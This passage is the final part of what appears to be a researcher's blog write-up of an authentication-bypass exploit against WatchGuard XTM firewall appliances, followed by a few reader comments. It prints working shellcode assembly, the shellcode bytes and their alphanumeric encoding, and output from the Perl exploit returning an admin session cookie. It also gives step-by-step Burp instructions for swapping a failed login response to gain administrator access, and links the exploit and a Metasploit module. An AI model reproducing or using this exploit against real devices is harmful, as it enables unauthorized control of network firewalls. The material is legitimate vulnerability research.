decode content mov [ebp-0x70],eax ; int decoded_content; // [sp+258h] [bp-70h]@1 ; simulate "search remote_address" mov eax, [ebp+0x8] mov eax, [eax+0x14] mov [esp+0x4],eax lea eax,[ebx-0x3ceb] mov [esp],eax mov esi, 0x804b670 ; FCGX_GetParam call esi add eax, 0x7 ; remove '::ffff:' => to improve mov [ebp-0x60], eax ; is_admin = 4 mov dword [ebp-0x48], 0x4 ; simulate "search req_user value" mov eax, [ebp-0x70] mov eax, [eax+0x50] mov dword [esp+0x8],0x0 lea edx,[ebx-0x3c93] mov [esp+0x4],edx mov [esp],eax mov esi, 0x804c07e call esi ; <FCGX_PutStr@plt+0x3de> mov [ebp-0x68],eax ; v49 = 2 (ipv4) mov word [ebp-0x5a], 0x2 ; unsigned __int16 v49; // [sp+26Eh] [bp-5Ah]@1 ; challenge mov dword [ebp-0x6c], 0x0 ; const char *req_challenge; // [sp+25Ch] [bp-6Ch]@1 ; set v43 to null mov dword [ebp-0x74], 0x0 ; int v43; // [sp+254h] [bp-74h]@1 ; ok, we are ready to jump in the middle of the "login" function ; right after the password verification ; jump here ; 804ee4b: c7 44 24 04 00 12 00 mov DWORD PTR [esp+0x4],0x1200 ; 804ee52: 00 ; 804ee53: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 ; 804ee5a: e8 11 c4 ff ff call 804b270 <calloc@plt> mov edi, 0x804ee4b jmp edi
Compilation and encoding:
$ ./build.sh wg_get_session.asm unsigned char buf[]= "\x81\xc4\xd8\x01\x00\x00\x81\xc5\x60\x47\x0f\x00\x8b\x85\x04" "\xff\xff\xff\x8b\x9d\x08\xff\xff\xff\xbf\x00\xf0\x05\x08\x83" "\xc7\x04\x8d\x77\x04\x81\xfe\x00\x10\x08\x08\x74\x0b\x39\x07" "\x75\xee\x39\x5f\x04\x74\x07\xeb\xe7\xb8\x38\x3b\x06\x08\x8d" "\x47\xf0\x89\x85\xf4\xfe\xff\xff\xbb\xf4\xdf\x05\x08\xc7\x85" "\xf8\xfe\xff\xff\x00\x00\x00\x00\x8b\x40\x0c\x89\x85\x00\xff" "\xff\xff\x8b\x8d\xf4\xfe\xff\xff\x8b\x85\x68\xfe\xff\xff\x8b" "\x95\x6c\xfe\xff\xff\x89\x44\x24\x04\x89\x54\x24\x08\x89\x0c" "\x24\x81\xec\xd0\x02\x00\x00\x81\xed\xd0\x45\x0f\x00\xbb\xf4" "\xdf\x05\x08\x8b\x55\x08\x8b\x52\x08\xc7\x44\x24\x04\x00\x00" "\x00\x00\x89\x14\x24\xbe\x90\xd9\x04\x08\xff\xd6\x89\x45\x90" "\x8b\x45\x08\x8b\x40\x14\x89\x44\x24\x04\x8d\x83\x15\xc3\xff" "\xff\x89\x04\x24\xbe\x70\xb6\x04\x08\xff\xd6\x83\xc0\x07\x89" "\x45\xa0\xc7\x45\xb8\x04\x00\x00\x00\x8b\x45\x90\x8b\x40\x50" "\xc7\x44\x24\x08\x00\x00\x00\x00\x8d\x93\x6d\xc3\xff\xff\x89" "\x54\x24\x04\x89\x04\x24\xbe\x7e\xc0\x04\x08\xff\xd6\x89\x45" "\x98\x66\xc7\x45\xa6\x02\x00\xc7\x45\x94\x00\x00\x00\x00\xc7" "\x45\x8c\x00\x00\x00\x00\xbf\x4b\xee\x04\x08\xff\xe7"; Length: 268 /tmp/raw.bin generated $ alpha2 eax < /tmp/raw.bin PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJImQ9TKhuQWpEPMQiU\ U077foWplKLEuTkOyoIoLKmMfhKOIoiomoWpZPWu7xosKwc4nmpw7tmQInWpFpS8wxPt\ dKUiVgpuzNP9soS4PtWwXk8gnXWHukuV5XLM1WxpniK5ydYnkOyooKHtyOvewxZgK5ZX\ 9nkOKOWpUPS0wplKqPTLOylEuPKOYoYoNklMkDKNKOyoNkMUPhkNYokOLKNuplKNKOYo\ nictddETmY64UtUXoy4LutK18lzpDBuP7pMQhmxPQU4OWpoKXtkoTEgxNkpUeXNkrrUX\ yWpD6Dwt7pUPuPc0LIr4VDmnLPki34S8IoN6mYsuNpLKCu6hlK70R4NiRdUtuTLMLCr5\ jcYoiomY7ttdmnt0lvS4wxKOjvK3Kp6gNiReMpkwPENXWtgps0uPNkSunpNk3ppPo73t\ etvhC0wpgpWpnmMC0m9SyokOoyrtgT7tlIC4tdONanKptDwxIoJvK9reOh0fkwG5MvUR\ WpIW75MD7pS0uPWpKwW5nlePUPwp5POOrkXngtVhYoywA
6. Final exploit
Here we are. Our final exploit succeeds to overcome all limitations such as hardening, limited privileges, memory randomization, bad characters, … As requested by our custom shellcode, the exploit jumps back into the wgagent code section, generates a new admin cookie, and then sends a complete HTTP response to the attacker:
6.1. Demonstration
$ ./wg-sessid-exploit-0.1.pl [*] Sending HTTP ping request to https://192.168.60.200:8080 : OK. Got 'pong' [*] Checking sessionid cookie for bad chars [*] Checking shellcode for bad chars [*] Fill-in the heap .... [*] Sending authentication bypass shellcode [*] HTTP Response : -------------------------------------------------------------------------------- HTTP/1.1 200 OK Content-type: text/xml Set-Cookie: sessionid=6B8B4567327B23C6643C9869663348730000001D Vary: Accept-Encoding Date: Fri, 25 Oct 2013 22:03:45 GMT Server: none Content-Length: 751 <?xml version="1.0"?> <methodResponse> <params> <param> <value> <struct> <member><name>sid</name><value>6B8B4567327B23C6643C9869663348730000001D</value></member> <member><name>response</name><value></value></member> <member> <name>readwrite</name> <value><struct> <member><name>privilege</name><value>2</value></member> <member><name>peer_sid</name><value>0</value></member> <member><name>peer_name</name><value>error</value></member> <member><name>peer_ip</name><value>0.0.0.0</value></member> </struct></value> </member> </struct> </value> </param> </params> </methodResponse> -------------------------------------------------------------------------------- [*] Over. $
Now that we received both a valid cookie and an XML answer for the Flash application, the remaining thing to do is to fire up Burp Suite or equivalent, and then to replace a failed login response by this one.
Phase 1: Attempt to login as admin using a wrong password:
Login as admin using a wrong password
Phase 2: intercept the HTTP response (not enabled by default, check out your Burp proxy options). As expected, WatchGuard responded with a “invalid credentials” message.
HTTP Response returned by WatchGuard
Phase 3: replace the HTTP response (invalid credentials) with the content provided by the exploit code, and then forward it back to the browser:
HTTP Response – content modified
Phase 4: enjoy your administrator access :-)
6.2. Download
The exploit has been tested against multiple deployments of the XTMv (virtual appliances) version 11.7.4u1, running on various ESXi hardwares. However, we could not test it against a “physical” appliance (XTM) yet.
While the vulnerability is certainly present on previous versions of the software, the shellcode will probably not work on other versions. You should however have enough information to adapt it to previous versions of the XTM software.
As usual, please be responsible by asking for the authorization before p0wning a Firewall..
The exploit can be downloaded from the following links:
- Perl exploit: watchguard-xtm-sessionid-exploit-0.2.pl
- Metasploit module (draft): watchguard_xtm_get_cookie.rb
Enjoy,
© 2013 – 2015, foip. All rights reserved.
Trackbacks & Pingbacks
Comments are closed.
Very impressive. Being able to have your shellcode call some built-in functions and restore the state to prevent crashing the program seems like it must have taken a lot of effort.
I’d worry if I did something like this, that the address layout randomization would mean that all those pointers would be different from one run to another. How is it that the pointer you needed always ends in 0x8544?
Thanks!
Because here, the heap and the code sections addresses aren’t randomized :)
Ah, so the layout randomization doesn’t change the lower bytes of those pointers?